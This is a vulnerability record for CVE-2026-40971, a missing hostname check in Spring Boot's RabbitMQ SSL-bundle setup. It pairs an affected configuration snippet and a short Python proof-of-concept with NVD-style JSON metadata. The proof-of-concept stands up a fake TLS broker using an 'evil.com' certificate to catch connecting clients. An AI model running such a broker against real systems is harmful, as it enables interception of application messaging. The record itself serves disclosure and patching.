CVE-2026-40971

# Vulnerable Configuration (application.properties) # Using SSL bundle without manual hostname verification triggers the bug spring.rabbitmq.host=production-rabbitmq.example.com spring.rabbitmq.port=5671 spring.rabbitmq.ssl.bundle=my-app-ssl-bundle # PoC Concept: Attacker setup using Python to simulate a valid broker # Requires a valid CA signed certificate for 'evil.com' import socket, ssl # Attacker listens for connections context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain(certfile="evil.com.pem", keyfile="evil.com.key") bindsocket = socket.socket() bindsocket.bind(('0.0.0.0', 5671)) bindsocket.listen(5) # If the vulnerable client connects, it will not reject the cert # even if the expected host is 'production-rabbitmq.example.com' # because hostname verification is disabled. newsocket, fromaddr = bindsocket.accept() stream = context.wrap_socket(newsocket, server_side=True) print("Connection established (Exploitation Successful)")

{"cve": {"id": "CVE-2026-40971", "sourceIdentifier": "[email protected]", "published": "2026-04-27T23:16:03.403", "lastModified": "2026-05-14T16:06:19.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When configured to use an SSL bundle, Spring Boot's RabbitMQ auto-configuration does not perform hostname verification when connecting to the RabbitMQ broker.\n\nAffected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14) per vendor advisory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.5.14", "matchCriteriaId": "D23096A1-8269-46C5-9215-9098E87D0A24"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_boot:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.6", "matchCriteriaId": "12A166C5-8B55-4BA3-AA8B-6024A257D441"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-40971", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}